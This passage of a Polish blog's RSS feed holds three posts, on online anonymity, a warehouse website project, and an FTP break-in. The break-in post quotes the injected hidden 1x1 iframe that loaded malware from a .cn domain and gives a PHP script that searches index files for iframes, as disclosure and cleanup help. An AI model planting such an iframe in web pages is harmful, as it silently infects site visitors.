<p>Zbiegło się ostatnio parę spraw, które mają ją za wspólną genezę. Czytając o <a href="http://lestat.salon24.pl/105239,kataryna-czuma-igor-janke-emocje">aferze</a> <a href="http://www.kataryna.salon24.pl/104666,czuma-znowu-daje-czadu">Kataryna</a>-<a href="http://czuma.pl/">Czuma</a>, o <a href="http://wyborcza.pl/1,75478,6333155,Falszywe_rekomendacje_zalewaja_siec.html">masowo fałszowanych opiniach</a>, <a href="http://www.goldenline.pl/forum/nieruchomosci/806240/s/1">drobnych fałszerstwach</a>, wreszcie <i>nie czytając</i> portali typu dupelek.pl, czy plutek.pl, cały czas mam wrażenie, że ta anonimowość niedobra jest. Gdy sam piszę tutaj, to każdy wykazując odrobinę zaangażowania jest w stanie sprawdzić, ktom zacz. Kiedy znowu postanowię wylać kubeł pomyj na ministra, żonę piłkarza czy nowy odtwarzacz mp3, to mogę użyć dowolnie wybranego nicka i nikt bez zgody sądu i/lub administratora nie pozna mojej tożsamości. A opinia w świat pójdzie. Gdyby była to moja prywatna opinia, pół biedy. Problem zaczyna się wówczas, gdy ktoś sypnie jakimś honorarium po 10 gr za autorski wpis. Autorsko zarabiając na życie, masy pracujące tworzą dowolnie fałszywy, zamówiony przez pracodawcę obraz dowolnego zjawiska. Konsekwencje są wiadome, fantastyczna zdolność Sieci do wyławiania potrzebnych informacji gnije i śmierdzi zdechłą rybą. Ponieważ jestem lekkomyślnym zwolennikiem przechodzenia do <a href="http://pluro.pl">demokracji elektronicznej</a>, trochę mnie ta słabość wirtualnego świata niepokoi.</p>
<p>Zastanawiam się, co można z tym zrobić. Wiadomo &mdash; administracyjnie nie da się nagle zabronić publikacji anonimowych treści, zresztą nie o to chodzi. Zależałoby mi na tym, żeby autor dowolnego wpisu <i>mógł</i> ujawnić swoją tożsamość. Takie posty, wpisy, komentarze byłyby wielokrotnie bardziej wiarygodne. Sfera anonimowa pozostałaby miejscem dla amatorów pomyj i wytrzymałych. Pierwsza rzecz, to ogólny standard typu <a href="http://pl.wikipedia.org/wiki/OpenID#Zagro.C5.BCenia_OpenID">OpenID</a>, <a href="http://pl.wikipedia.org/wiki/Windows_Live_ID">Windows LiveID</a> czyli jakby paszport dostępny na każdej stronie w necie. Są też inne projekty, jak <a href="http://pl.wikipedia.org/wiki/Liberty_Alliance_Project">Liberty Alliance Project</a>. Na szczęście nieźle to działa we wszelkich portalach społecznościowych wymuszających jawność osoby, jak nasz Goldenline czy Allegro. Mam tylko nadzieję, że biznesplany właścicieli innych opiniotwórczych stron uwzględnią &#8220;potrzebę konsumenta&#8221; i wypromują obywatelską bądź co bądź, postawę polegającą na podpisywaniu się własnym imieniem i nazwiskiem.</p>
<p>Czego wszystkim życzę,</p>
<p><i>Piotr Tomaszewski</i></p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/16/tozsamosc-incognito-i-pod-przykryciem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>nowa strona centrum logistycznego Żerań Park 1</title>
		<link>http://nobigwords.ntxt.net/2009/05/05/nowa-strona-centrum-logistycznego-zeran-park-1/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/05/nowa-strona-centrum-logistycznego-zeran-park-1/#comments</comments>
		<pubDate>Tue, 05 May 2009 18:05:07 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[actionscript]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[AIG/Lincoln]]></category>
		<category><![CDATA[Alaris 2]]></category>
		<category><![CDATA[biura]]></category>
		<category><![CDATA[centrum logistyczne]]></category>
		<category><![CDATA[google maps]]></category>
		<category><![CDATA[logistyka]]></category>
		<category><![CDATA[magazyny]]></category>
		<category><![CDATA[magazyny na wynajem]]></category>
		<category><![CDATA[mapa]]></category>
		<category><![CDATA[projekt]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[strona www]]></category>
		<category><![CDATA[swf]]></category>
		<category><![CDATA[ulotka A4]]></category>
		<category><![CDATA[warszawa]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[Żerań Park 1]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=185</guid>
		<description><![CDATA[No i kolejny projekt popełniony. Magazyny i biura na wynajem w centrum Warszawy, na zlecenie Zarządcy, czyli AIG/Lincoln, dla firmy Alaris 2 sp. z o.o. Krótki, prosty projekt, nieco odświeżający poprzednią wersję z 2007 roku. W założeniu miała być tylko zmiana treści, ale ponieważ nie było dostępu do źródeł i praw autorskich, skończyło się na [...]]]></description>
			<content:encoded><![CDATA[<p>No i kolejny projekt popełniony. <a href="http://zeranpark.com.pl">Magazyny i biura na wynajem</a> w centrum Warszawy, na zlecenie Zarządcy, czyli AIG/Lincoln, dla firmy Alaris 2 sp. z o.o. Krótki, prosty projekt, nieco odświeżający poprzednią wersję z 2007 roku. W założeniu miała być tylko zmiana treści, ale ponieważ nie było dostępu do źródeł i praw autorskich, skończyło się na przerobieniu całości. Użyliśmy lekkiego szkieletu Flash, z doczytywanie wybranych treści z SWF (layout) i XML (treść). Inwestycja nie ma własnego systemu identyfikacji, co paradoksalnie utrudnia projektowanie, bo niby można wszystko&#8230; Dowolne kolory, dowolne czcionki. Jeden ze wstępnych pomysłów nawiązywał do poprzedniej wersji (B, ciemnoniebieski), drugi miał otwartą kompozycję i logotyp oparty na czcionce Garamond. Wspólne elementy to font Agency FB w tytułach i motyw magazynu &mdash; stosu paczek stworzony w świetnym Google Sketchup. Klient wybrał projekt A.</p>
<p>Strona korzysta z map Google, pokazując centrum logistyczne w rzeczywistym otoczeniu Żerania, do wyboru &mdash; na mapie lub zdjęciu satelitarnym. Dzięki dobremu pokryciu Warszawy (co akurat nie dziwi) efekt jest czytelny i atrakcyjny.</p>
<p>Oprócz samej strony powstała też ulotka A4 w PDF do pobrania, o tej samej treści.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/05/nowa-strona-centrum-logistycznego-zeran-park-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iframe hack, czyli włamanie na FTP</title>
		<link>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/#comments</comments>
		<pubDate>Mon, 04 May 2009 08:45:09 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[.cn]]></category>
		<category><![CDATA[atak]]></category>
		<category><![CDATA[doklejanie kodu]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hasło]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[lotante]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[wirus]]></category>
		<category><![CDATA[wklejanie kodu]]></category>
		<category><![CDATA[włamanie]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[zagrożenie]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=176</guid>
		<description><![CDATA[Amerykańska armia testuje automatycznych żołnierzy, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja [...]]]></description>
			<content:encoded><![CDATA[<p>Amerykańska armia testuje <a href="http://www.wired.com/dangerroom/2009/04/army-tests-new/">automatycznych żołnierzy</a>, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja plików. Polega ona na dość prostym doklejeniu kodu do stron na FTP, który w niezauważalny dla użytkownika sposób ściąga z innej złoczynnej witryny szkodliwe oprogramowanie. </p>
<p>Również niniejsza strona i nasza główna &mdash; ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na &#8216;index&#8217; pojawił się taki kawałek (dodałem gwiazdkę przed http):</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;iframe src=&quot;*http://lotante.cn/in.cgi?income38&quot;
width=1 height=1 style=&quot;visibility: hidden&quot;&gt;&lt;/iframe&gt;</pre></div></div>

<p>Konkretny adres bywa różny, <a href="http://blog.unmaskparasites.com/2009/04/15/malicious-income-iframes-from-cn-domains/">lista podejrzanych domen jest spora</a>. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem <a href="https://addons.mozilla.org/pl/firefox/addon/722">NoScript</a>). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. <a href="http://totalcmd.pl/download/app/new/Total_Commander_7.50_Public_Beta_2">Total Commander w najnowszej wersji </a>(7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.</p>
<p>Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające &#8216;index&#8217; w nazwie i sygnalizujący wystąpienia taga &lt;iframe&gt;. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr <i>depth</i> określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?
<span style="color: #666666; font-style: italic;">// katalog główny strony</span>
<span style="color: #000088;">$root</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/public_html'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// głębokość sprawdzania w podkatalogach</span>
<span style="color: #000088;">$depth</span> <span style="color: #339933;">=</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #cc66cc;">5</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// uruchomienie</span>
digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$root</span><span style="color: #339933;">,</span> <span style="color: #000088;">$depth</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// rekurencyjna funkcja sprawdzająca</span>
<span style="color: #000000; font-weight: bold;">function</span> digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$level</span> <span style="color: #339933;">&lt;=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$handle</span> <span style="color: #339933;">=</span> <span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span> <span style="color: #339933;">=</span> <span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$dir</span>/<span style="color: #006699; font-weight: bold;">$plik</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">!=</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				<span style="color: #666666; font-style: italic;">//$data = date(&quot;Y-m-d&quot;, filemtime($path));</span>
				<span style="color: #666666; font-style: italic;">//$prawa = decoct(fileperms($path));</span>
&nbsp;
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
					<span style="color: #666666; font-style: italic;">//$rozmiar = filesize($path);</span>
					<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/index/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$plik</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
						<span style="color: #000088;">$contents</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
						<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/iframe/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$contents</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;znaleziono iframe w <span style="color: #006699; font-weight: bold;">$path</span>&lt;br/&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
					digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>			
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

